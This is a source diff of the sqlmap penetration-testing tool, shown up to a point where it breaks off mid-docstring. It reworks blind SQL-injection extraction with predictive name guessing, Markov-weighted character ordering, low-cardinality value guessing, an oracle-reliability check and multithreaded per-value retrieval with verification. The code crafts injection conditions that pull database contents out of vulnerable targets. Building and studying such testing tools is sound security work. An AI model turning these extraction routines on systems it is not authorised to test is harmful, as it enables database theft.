c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -219,7 +219,7 @@ c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dn 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py -7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +7ad7ac3c7126b3bad5898803a87769f199f6e8ecfb8abdca4fc4a29e63932595 lib/request/inject.py df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py @@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py +da4930b2499270172140ae1f12c4666d42b2f1c0c348fcb021d4dccedc91d0ac lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -499,8 +499,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py -13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py +dc52b79735a2e349dbc599bc7bd3f57b58560aed977f8b053f745e93532d4e13 plugins/generic/databases.py +93c4833046dce00a60cf6ca118e6637d4be23a67aa45714f91d23215d544b023 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py 8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/common.py b/lib/core/common.py index 4c4a4d307..e4d0fce44 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1582,10 +1582,10 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") @@ -2605,42 +2605,23 @@ def calculateDeltaSeconds(start): def initCommonOutputs(): """ - Initializes dictionary containing common output values used by "good samaritan" feature + Initializes the per-context dictionary of common identifier names used by the + predictive-inference feature to shortcut blind table/column name enumeration. + Sourced directly from the curated '--common-tables'/'--common-columns' wordlists + (real-world, app-focused names); prediction only ever reorders the charset or + confirms a whole value, so it never penalizes a miss. - >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] True """ kb.commonOutputs = {} - key = None - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f: - if line.find('#') != -1: - line = line[:line.find('#')] - - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) - - # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much - # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly - # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. - # The mechanism only reorders the charset, so extra coverage never penalizes a miss. - for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): try: - for _ in getFileItems(_path): - kb.commonOutputs.setdefault(_key, set()).add(_) + kb.commonOutputs[key] = set(getFileItems(path)) except SqlmapSystemException: - pass + kb.commonOutputs[key] = set() def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -2684,19 +2665,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2755,7 +2734,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching - conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -3692,8 +3671,8 @@ def setOptimize(): Sets options turned on by switch '-o' """ - # conf.predictOutput = True - # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers) + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) diff --git a/lib/core/option.py b/lib/core/option.py index f6d555808..b67d7e062 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2243,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.disableHuffman = False kb.huffmanProbes = 0 kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None @@ -2256,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -2914,10 +2919,6 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 08cbf800b..f9db84371 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -79,7 +79,6 @@ optDict = { "Optimization": { "optimize": "boolean", - "predictOutput": "boolean", "keepAlive": "boolean", "noKeepAlive": "boolean", "nullConnection": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 35ab7215c..837bcc2d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.30" +VERSION = "1.10.7.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -560,11 +560,52 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), ( for _char in _chars: HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight -# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output -# pool for their enumeration context, so later same-context items that share structure (e.g. -# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from -# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge -# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection. +# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier +# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/ +# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT +# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user). +NAME_PREDICTION_CONTEXTS = ("Tables", "Columns") + +# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind +# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first +# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the +# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree +# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model. +NAME_MARKOV_ORDER = 3 +CATALOG_IDENTIFIERS_PRIOR_PEAK = 20 + +# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality +# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by +# equality against the values already seen for that column (one request on a hit) before per-character +# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap. +LOW_CARDINALITY_THRESHOLD = 32 + +# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer +# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just +# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy +# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a +# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption +# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before +# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable. +ORACLE_LITMUS_CHECK_EVERY = 25 + +# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so +# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this +# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with +# many near-unique values can only ever waste a small, bounded number of probes before falling back. +LOW_CARDINALITY_MAX_GUESSES = 8 + +# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is +# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps +# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged +# the speculative restricted-search-then-escalate cost. +DUMP_CHARSET_STABLE_ROWS = 3 + +# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration +# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...) +# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers +# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character +# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration). PREDICTION_FEEDBACK_MAX_LENGTH = 128 PREDICTION_FEEDBACK_MAX_ITEMS = 10000 diff --git a/lib/core/testing.py b/lib/core/testing.py index 787d049ce..a10e33621 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -78,7 +78,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 3bfe55d59..5a350e47a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -318,9 +318,6 @@ def cmdLineParser(argv=None): optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") - optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") - # Note: persistent (Keep-Alive) connections are used by default; this opts out optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", help="Disable persistent HTTP(s) connections (Keep-Alive)") diff --git a/lib/request/inject.py b/lib/request/inject.py index 417b638d7..416ea21aa 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -13,6 +13,10 @@ import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively +from lib.core.common import dataToStdout +from lib.core.common import unArrayizeValue +from lib.core.datatype import AttribDict +from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery @@ -22,6 +26,7 @@ from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import incrementCounter from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique @@ -58,10 +63,13 @@ from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength +from lib.techniques.blind.inference import valueMatchCondition from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse @@ -358,6 +366,153 @@ def _goUnion(expression, unpack=True, dump=False): return output +def _verifyInferredValue(expression, value): + """ + Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged + query, mirroring the predictive commonValue check). A wrong bisection bit under heavy + concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches + it sharply (a corrupted name != the real one). Returns True when (expression) == value + holds, or on a transient verify error (never discard a value on a hiccup). + """ + + if value is None or isNoneValue(value): + return True + + value = unArrayizeValue(value) + if not isinstance(value, six.string_types): + return True + + if Backend.getDbms(): + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1)) + else: + expressionUnescaped = unescaper.escape(expression) + + matchCondition = valueMatchCondition(expressionUnescaped, value) + if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition) + return None # caller confirms these by an independent re-extraction instead + + query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition) + query = agent.suffixQuery(agent.prefixQuery(query)) + + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + try: + result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)) + incrementCounter(getTechnique()) + return result + except Exception: + return True + +def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): + """ + Value-parallel blind retrieval. + + Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded + sequentially via bisection with length=None - so there is NO per-value length probe (unlike the + position-parallel path, which must probe LENGTH() to split a value's characters across threads) and + the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman + model work. This parallelizes across VALUES instead of character positions - the right axis for the + MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so + predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and + low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error + row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression. + Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is + just sequential retrieval (no worse than the classic loop, and still without the length probe). + """ + + indices = list(indices) + + savedTechnique = getTechnique() + + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + setTechnique(PAYLOAD.TECHNIQUE.TIME) + else: + return None + + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + + results = [None] * len(indices) + cursor = iter(xrange(len(indices))) + + def inferenceThread(): + threadData = getCurrentThreadData() + # Each per-value bisection streams its characters to stdout and mirrors them into + # threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent + # workers interleave their character output (garbled console) and stomp each other's + # partial value. So suppress the per-char streaming here and give each worker a private + # shared-state object; a single clean line/counter is printed per completed value below. + threadData.disableStdOut = True + threadData.shared = AttribDict() + + while kb.threadContinue: + with kb.locks.limit: + try: + slot = next(cursor) + except StopIteration: + break + + expression = exprBuilder(indices[slot]) + try: + _, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + # Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip + # a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and + # re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII + # (which a quoted literal may not round-trip, AND which is itself a common corruption symptom) + # is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not + # reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request. + tries = 0 + while not isNoneValue(value) and not threadData.lowCardHit and tries < 3: + verdict = _verifyInferredValue(expression, value) + if verdict is True: + break + tries += 1 + _, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + if verdict is None and other == value: # two independent extractions agree -> trust it + break + value = other # equality said wrong, or the two disagree -> adopt fresh, recheck + except Exception as ex: + logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex)) + value = None + + with kb.locks.value: + results[slot] = value + + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly + # like the error/union dumps), so a dump shows its data live rather than a silent counter. + if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + with kb.locks.io: + rendered = safecharencode(unArrayizeValue(value)) + dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + + # Save/restore the calling thread's state: with a single thread runThreads runs the worker + # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. + savedPartRun = kb.partRun + mainThreadData = getCurrentThreadData() + savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared + kb.partRun = context + try: + runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) + finally: + kb.partRun = savedPartRun + mainThreadData.disableStdOut = savedStdOut + mainThreadData.shared = savedShared + if savedTechnique is not None: + setTechnique(savedTechnique) + + # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is + # re-extracted serially via the classic getValue() path - full error handling, and a persistent error + # surfaces there - rather than being silently returned as an empty value. + for slot in xrange(len(results)): + if results[slot] is None and kb.threadContinue: + results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType) + + return results + @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 46a99430c..6e5bb4f27 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -20,10 +20,12 @@ from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter +from lib.core.common import getFileItems from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData -from lib.core.common import goGoodSamaritan +from lib.core.common import openFile +from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -34,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE @@ -44,6 +47,13 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK +from lib.core.settings import DUMP_CHARSET_STABLE_ROWS +from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES +from lib.core.settings import LOW_CARDINALITY_THRESHOLD +from lib.core.settings import NAME_PREDICTION_CONTEXTS +from lib.core.settings import NAME_MARKOV_ORDER +from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK @@ -73,6 +83,174 @@ from thirdparty import six # outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". _HUFFMAN_FALLBACK = object() +# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process +_huffmanPriorCache = {} + +def normalizedExpression(expression): + """ + Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies + from row to row is masked so every row of the same column maps to a single key. Used to group a + column's values for low-cardinality guessing and for its per-column online Huffman model. + + >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") + True + """ + + retVal = expression + + for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): + retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) + + return retVal + +def getHuffmanPrior(order, scale, dbms=None): + """ + Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman + set-membership tree during blind NAME enumeration (so it predicts from the first character rather + than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the + back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching + [] section of catalog-identifiers.txt - a single global model dilutes across dialects). + Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. + """ + + if (order, scale, dbms) in _huffmanPriorCache: + return _huffmanPriorCache[(order, scale, dbms)] + + prior = {} + names = [] + + for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): + try: + names.extend(getFileItems(path)) + except Exception: + pass + + if dbms: + try: + with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f: + section = None + for line in f: + line = line.strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) + except Exception: + pass + + for name in names: + terminated = name + "\x00" + for i in xrange(len(terminated)): + ordinal = ord(terminated[i]) + if ordinal < 128: + counts = prior.setdefault(terminated[max(0, i - order):i], {}) + counts[ordinal] = counts.get(ordinal, 0) + 1 + + for counts in prior.values(): + peak = max(counts.values()) or 1 + for ordinal in counts: + counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) + + _huffmanPriorCache[(order, scale, dbms)] = prior + return prior + +def contextWeights(model, prior, order, prefix): + """ + Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus + the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest + context has not been seen yet. The online model is snapshotted under kb.locks.prediction because + value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). + """ + + weights = {} + context = prefix[-order:] if order > 0 else "" + + while True: + with kb.locks.prediction: + online = dict(model.get(context) or ()) + for source in (online, prior.get(context) if prior is not None else None): + if source: + for symbol, count in source.items(): + weights[symbol] = weights.get(symbol, 0) + count + + if weights or not context: + break + + context = context[1:] + + return weights + +def valueMatchCondition(expressionUnescaped, value): + """ + Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a + string), or None when a whole-value equality cannot be trusted and the caller must fall back to + per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. + + Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by + the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same + bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a + needless re-extraction). ASCII values compare reliably. + + On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a + numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- + number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) + "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already + text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides + whether a whole-value shortcut hits or falls back to per-character extraction. + + >>> valueMatchCondition("q", "abc").count("OR") + 0 + >>> valueMatchCondition("q", u"caf\\xe9") is None + True + """ + + if value is None or any(ord(_) >= 128 for _ in value): + return None + + quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) + condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) + + if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE: + condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) + + return condition + +def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): + """ + Known-answer differential health-check on the inference oracle, using the value just extracted. + Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = " (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel + (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, + and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. + + Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected + inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare 